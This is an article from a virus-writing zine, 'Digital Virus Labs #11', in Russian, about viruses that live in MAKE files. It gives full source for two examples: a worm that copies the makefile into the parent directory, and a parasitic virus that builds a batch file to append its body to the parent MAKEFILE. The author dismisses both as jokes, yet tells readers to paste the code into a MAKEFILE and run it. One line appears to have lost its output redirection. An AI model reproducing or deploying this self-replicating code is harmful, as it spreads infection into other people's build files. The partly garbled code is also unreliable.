- [Digital Virus Labs #11] - [Page 34] - Вирусы в MAKE-файлах (c) by Gobleen Warrior/SMF Вещи, о которых пойдет речь в данной статье, были придуманы и созданы как прикол, а поэтому их никоим образом не стоит рассматривать как нечто серьезное. MAKE-вирусы. ============= Наверняка все знают о такой утилите, как MAKE. Изучая ее работу, я задумался, а что если попытаться написать вирус, обитающий в MAKE-файлах? Тем более, что это более чем реально - MAKE-файлы содержат и выполняют команды ОС, такие, как, к примеру, COPY, FIND, и т.д. То есть, вирус для MAKE по сути своей - разновидность BAT-вируса. Хотя последнее утверждение не совсем верно - в MAKE не работают многие конструкции BAT-языка, такие, как, например GOTO, ну и много чего еще. Поэтому наверное, а может потому что руки у меня кривые, код ниже и вышел такой корявый. Ниже находятся два идиотских и крайне примитивных примера развития этой идеи. Примеры эти практически не имеют шансов выжить. Так, еще одно последствие полета больной фантазии. Если вы хотите посмотреть как они работают, просто скопируйте код в файл с именем MAKEFILE или MAKEFILE.MAK и запустите MAKE. Также вы можете найти уже готовые файлы в прилагающемся архиве. Пример 1: Примитивный файловый червь, копирующий себя в надкаталог. Учитывает тот факт, что имя файла, из которого он запущен, может быть различным, а именно MAKEFILE или MAKEFILE.MAK (вот только зачем?..). <------------------------------- CUT HERE ---------------------------------> ME = MAKEFILE WORM : @IF EXIST $(ME).MAK COPY $(ME).MAK ..\. >NUL @IF EXIST $(ME) COPY $(ME) ..\. >NUL # [MakeWORM] by Gobleen Warrior/SMF <------------------------------- CUT HERE ---------------------------------> Пример 2: Абсолютно идиотский паразитический вирус, использующий два промежуточных файла - GW.TMP (для хранения чистого тела вируса) и GW.BAT (для выполнения заражения). Заражает файл MAKEFILE в надкаталоге. <------------------------------- CUT HERE ---------------------------------> OurHost : @IF EXIST MAKEFILE FIND "GW"GW.TMP @ECHO @CTTY NUL >GW.BAT @ECHO IF _%1==_GW GOTO GW_INF >>GW.BAT @ECHO IF EXIST ..\MAKEFILE CALL GW.BAT GW ..\MAKEFILE >>GW.BAT @ECHO GOTO GW_END >>GW.BAT @ECHO :GW_INF >>GW.BAT @ECHO FIND "GW" %2 >>GW.BAT @ECHO IF NOT ERRORLEVEL 1 GOTO GW_END >>GW.BAT @ECHO COPY /B %2+GW.TMP %2 >>GW.BAT @ECHO :GW_END >>GW.BAT @call GW.BAT @del GW.BAT @del GW.TMP # [MakeGWAR] by Gobleen Warrior/SMF <------------------------------- CUT HERE ---------------------------------> Оба примера крайне корявы и смешны, но что ж поделать, извините :))) Вот, вобщем-то, и все. Gobleen Warrior/SMF. 1901.